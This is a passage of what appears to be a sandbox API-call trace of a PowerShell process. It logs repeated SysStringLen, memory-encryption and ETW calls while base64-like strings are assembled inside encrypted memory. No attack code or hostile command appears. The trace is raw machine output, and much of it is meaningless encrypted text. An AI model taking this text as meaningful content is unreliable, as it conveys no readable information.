(param_1="61dTqUMWTKuSdRMewd摢脯ՠ⹪ᯍ") returned 0x18 [0234.506] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶ၫ힗䣮虑ꜳ韛蹍좄") returned 0x18 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶ၫ힗䣮虑ꜳ韛蹍좄") returned 0x18 [0234.506] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="61dTqUMWTKuSdRMewdw脯ՠ⹪ᯍ") returned 0x18 [0234.506] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶깇쏢꟮욒軝") returned 0x18 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶깇쏢꟮욒軝") returned 0x18 [0234.506] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRՠ⹪ᯍ") returned 0x18 [0234.507] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶㳥«갲痘\铜謁⋦) returned 0x18 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶㳥«갲痘\铜謁⋦) returned 0x18 [0234.507] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkՠ⹪ᯍ") returned 0x18 [0234.507] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶់葊꿊፬託刑艭") returned 0x18 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶់葊꿊፬託刑艭") returned 0x18 [0234.507] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkT⹪ᯍ") returned 0x18 [0234.507] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶Ꭸ訖镚꓿䗰컂ਙ") returned 0x18 [0234.507] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶Ꭸ訖镚꓿䗰컂ਙ") returned 0x18 [0234.507] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.507] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTgᯍ") returned 0x18 [0234.507] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶퉮셜樫䁻始卟授") returned 0x18 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶퉮셜樫䁻始卟授") returned 0x18 [0234.508] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.508] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+") returned 0x18 [0234.508] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟") returned 0x18 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟") returned 0x18 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟") returned 0x18 [0234.508] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟") returned 0x20 [0234.509] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+L욬⛠儣媨걤") returned 0x20 [0234.509] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟嘕졁鿁΋뷴茈⮡ᵩ") returned 0x20 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟嘕졁鿁΋뷴茈⮡ᵩ") returned 0x20 [0234.509] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LO욬⛠儣媨걤") returned 0x20 [0234.509] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟ྑ䧇쌏ꌳ攩䔍郍滻") returned 0x20 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟ྑ䧇쌏ꌳ攩䔍郍滻") returned 0x20 [0234.509] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOA⛠儣媨걤") returned 0x20 [0234.509] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟萔䋘Є玊衻⣨") returned 0x20 [0234.509] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟萔䋘Є玊衻⣨") returned 0x20 [0234.509] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.510] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF儣媨걤") returned 0x20 [0234.510] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.510] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟௛廝닢䞀ま⵨䎉匩") returned 0x20 [0234.510] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟௛廝닢䞀ま⵨䎉匩") returned 0x20 [0234.510] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.510] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8儣媨걤") returned 0x20 [0234.510] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.510] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟꙾鉸庥頍垜ェ喧") returned 0x20 [0234.510] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟꙾鉸庥頍垜ェ喧") returned 0x20 [0234.510] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.510] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8f媨걤") returned 0x20 [0234.510] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟⏘拦䰐✷蜚傘ꇖ鉁") returned 0x20 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟⏘拦䰐✷蜚傘ꇖ鉁") returned 0x20 [0234.511] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.511] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fS걤") returned 0x20 [0234.511] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟橄ᖉ굝᫶ꀍ晎䛢") returned 0x20 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟橄ᖉ굝᫶ꀍ晎䛢") returned 0x20 [0234.511] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.511] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSw") returned 0x20 [0234.511] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆") returned 0x20 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆") returned 0x20 [0234.511] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆") returned 0x20 [0234.512] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆ߒ") returned 0x28 [0234.512] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.512] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSww잋Ꮛ屢斕栋뻩椺") returned 0x28 [0234.512] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.512] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆䠞ߚꜻ㩞ꎳ㫷ॅ舑") returned 0x28 [0234.512] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆䠞ߚꜻ㩞ꎳ㫷ॅ舑") returned 0x28 [0234.512] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.512] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpᏋ屢斕栋뻩椺") returned 0x28 [0234.512] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.512] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆ꗕ퍶훡묀븛竨醬芵") returned 0x28 [0234.512] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆ꗕ퍶훡묀븛竨醬芵") returned 0x28 [0234.512] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpR屢斕栋뻩椺") returned 0x28 [0234.513] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆\䗞꺾梫푈헗᫤∱) returned 0x28 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆\䗞꺾梫푈헗᫤∱) returned 0x28 [0234.513] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRc斕栋뻩椺") returned 0x28 [0234.513] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆㄄塁㚑肑좙⌵廇̗") returned 0x28 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆㄄塁㚑肑좙⌵廇̗") returned 0x28 [0234.513] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcT栋뻩椺") returned 0x28 [0234.513] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆鍤㐖鍊ᚷ馴秀ꬥ") returned 0x28 [0234.513] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆鍤㐖鍊ᚷ馴秀ꬥ") returned 0x28 [0234.513] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.514] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTt뻩椺") returned 0x28 [0234.514] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.514] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆졜篏 뢌룗ꥍϖ") returned 0x28 [0234.514] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆졜篏 뢌룗ꥍϖ") returned 0x28 [0234.514] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.514] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtr椺") returned 0x28 [0234.514] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.514] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆욹쫀氉􌸝⎭䍟Ὰ") returned 0x28 [0234.514] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆욹쫀氉􌸝⎭䍟Ὰ") returned 0x28 [0234.620] SystemFunction041 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.621] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtrl") returned 0x28 [0234.621] SystemFunction040 (in: Memory=0x5c9acac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9acac) returned 0x0 [0234.621] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ") returned 0x28 [0234.621] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ") returned 0x28 [0234.621] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ") returned 0x28 [0234.621] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ") returned 0x30 [0234.621] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtrlO뎗ዼꮨꨡ蟖龈ﵫ") returned 0x30 [0234.622] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ텪팮᤽괋윑ᄼ並") returned 0x30 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ텪팮᤽괋윑ᄼ並") returned 0x30 [0234.622] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtrlO6ዼꮨꨡ蟖龈ﵫ") returned 0x30 [0234.622] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ㳤惠떢レ욢楟\⋙) returned 0x30 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ㳤惠떢レ욢楟\⋙) returned 0x30 [0234.622] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtrlO6oꮨꨡ蟖龈ﵫ") returned 0x30 [0234.622] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ幖杀胟᳖￾㣎ᙩ陈") returned 0x30 [0234.622] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶촀뇅鰮淳⧛慟൘쎘䑈ᢩಗꊪ듆燓謂斕ᅦ⇎ㆩぐ幖杀胟᳖￾㣎ᙩ陈") returned 0x30 [0234.623] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.623] SysStringLen (param_1="61dTqUMWTKuSdRMewdwRkTg+LOAF8fSwwpRcTtrlO6o=ꨡ蟖龈ﵫ") returned 0x30 [0234.623] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0234.623] EtwEventActivityIdControl () returned 0x0 [0234.623] EtwEventActivityIdControl () returned 0x0 [0234.623] EtwEventActivityIdControl () returned 0x0 [0234.623] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.624] EtwEventActivityIdControl () returned 0x0 [0234.624] EtwEventActivityIdControl () returned 0x0 [0234.624] EtwEventActivityIdControl () returned 0x0 [0234.624] SysStringLen (param_1="") returned 0x8 [0234.624] SysStringLen (param_1="N") returned 0x8 [0234.624] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.625] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0234.625] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="ND") returned 0x8 [0234.625] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.625] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0234.625] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="NDZ") returned 0x8 [0234.625] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.625] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0234.625] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.625] SysStringLen (param_1="NDZl") returned 0x8 [0234.625] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.626] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0234.626] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="NDZlO") returned 0x8 [0234.626] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.626] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0234.626] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="NDZlOD") returned 0x8 [0234.626] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.626] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0234.626] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.626] SysStringLen (param_1="NDZlODR") returned 0x8 [0234.626] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.627] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.627] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0234.627] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.627] SysStringLen (param_1="NDZlODRm") returned 0x8 [0234.627] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.627] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.627] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.627] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0234.628] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0234.628] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.628] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.628] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.628] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.628] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0234.628] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.628] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0234.628] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.628] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.628] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0234.628] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.628] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0234.629] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.629] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.629] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0234.629] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.629] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0234.629] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.629] SysStringLen 